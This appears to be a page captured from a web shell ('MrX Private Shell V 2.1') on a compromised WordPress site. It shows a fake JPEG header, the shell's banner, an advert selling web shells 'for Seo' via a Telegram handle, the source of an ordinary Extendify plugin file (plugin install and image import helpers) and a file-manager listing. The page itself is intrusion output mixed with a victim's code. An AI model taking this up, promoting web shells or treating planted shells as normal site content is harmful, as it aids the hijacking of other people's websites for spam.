����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
import { AI_HOST } from '@constants';
import apiFetch from '@wordpress/api-fetch';
import { addQueryArgs } from '@wordpress/url';
export const getPlugin = async (slug) => {
const response = await apiFetch({
path: addQueryArgs('/wp/v2/plugins', { search: slug }),
});
const plugin = response?.[0];
if (!plugin) throw new Error('Plugin not found');
return plugin;
};
export const getAllPlugins = async () => {
const response = await apiFetch({
path: '/wp/v2/plugins',
});
if (!response) {
throw new Error('Failed to fetch installed plugins');
}
return response;
};
export const enableAutoUpdate = async (plugin) => {
if (!plugin) return;
try {
await apiFetch({
path: '/extendify/v1/shared/enable-auto-update',
method: 'POST',
data: { plugin },
});
} catch (_e) {
// Best-effort: the install already succeeded.
}
};
export const installPlugin = async (slug) => {
const plugin = await apiFetch({
path: '/wp/v2/plugins',
method: 'POST',
data: {
slug,
},
});
await enableAutoUpdate(plugin?.plugin);
return plugin;
};
export const activatePlugin = async (slug) => {
const plugin = await getPlugin(slug);
return await apiFetch({
path: `/wp/v2/plugins/${plugin.plugin}`,
method: 'POST',
data: {
status: 'active',
},
});
};
export const loadImage = (img) => {
return new Promise((resolve, reject) => {
img.onload = () => resolve(img);
img.onerror = (e) => reject(e);
});
};
export const importImage = async (imageUrl, metadata = {}) => {
const image = new Image();
image.src = imageUrl;
image.crossOrigin = 'anonymous';
await loadImage(image);
const canvas = document.createElement('canvas');
canvas.width = image.width;
canvas.height = image.height;
const ctx = canvas.getContext('2d');
if (!ctx) return;
ctx.drawImage(image, 0, 0);
const blob = await new Promise((resolve) => {
canvas.toBlob((blob) => {
blob && resolve(blob);
}, 'image/jpeg');
});
const formData = new FormData();
formData.append('file', new File([blob], metadata.filename));
formData.append('alt_text', metadata.alt ?? '');
formData.append('caption', metadata.caption ?? '');
formData.append('status', 'publish');
return await apiFetch({
path: 'wp/v2/media',
method: 'POST',
body: formData,
});
};
export const importImageServer = async (src, metadata = {}) => {
const formData = new FormData();
formData.append('source', src);
// Fallback doesn't support custom file_name
formData.append('alt_text', metadata.alt ?? '');
formData.append('caption', metadata.caption ?? '');
return await apiFetch({
path: '/extendify/v1/draft/upload-image',
method: 'POST',
body: formData,
});
};
export const downloadImage = async (
id,
src,
source,
unsplashId,
metadata = { alt: '', caption: '' },
) => {
let image;
if (unsplashId) {
await downloadPing(id, source, { unsplashId });
}
try {
image = await importImage(src, {
alt: metadata.alt,
filename: 'image.jpg',
caption: metadata.caption,
});
} catch (_e) {
image = await importImageServer(src, {
alt: metadata.alt,
filename: 'image.jpg',
caption: metadata.caption,
});
}
return image;
};
export const downloadPing = (id, source, details = {}) =>
fetch(`${AI_HOST}/api/draft/image/download`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ id, source, ...details }),
});
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| DataApi.js | File | 2.36 KB | 0644 |
|
| digest.js | File | 2.07 KB | 0644 |
|
| pluginsActivation.js | File | 2.3 KB | 0644 |
|
| wp.js | File | 3.32 KB | 0644 |
|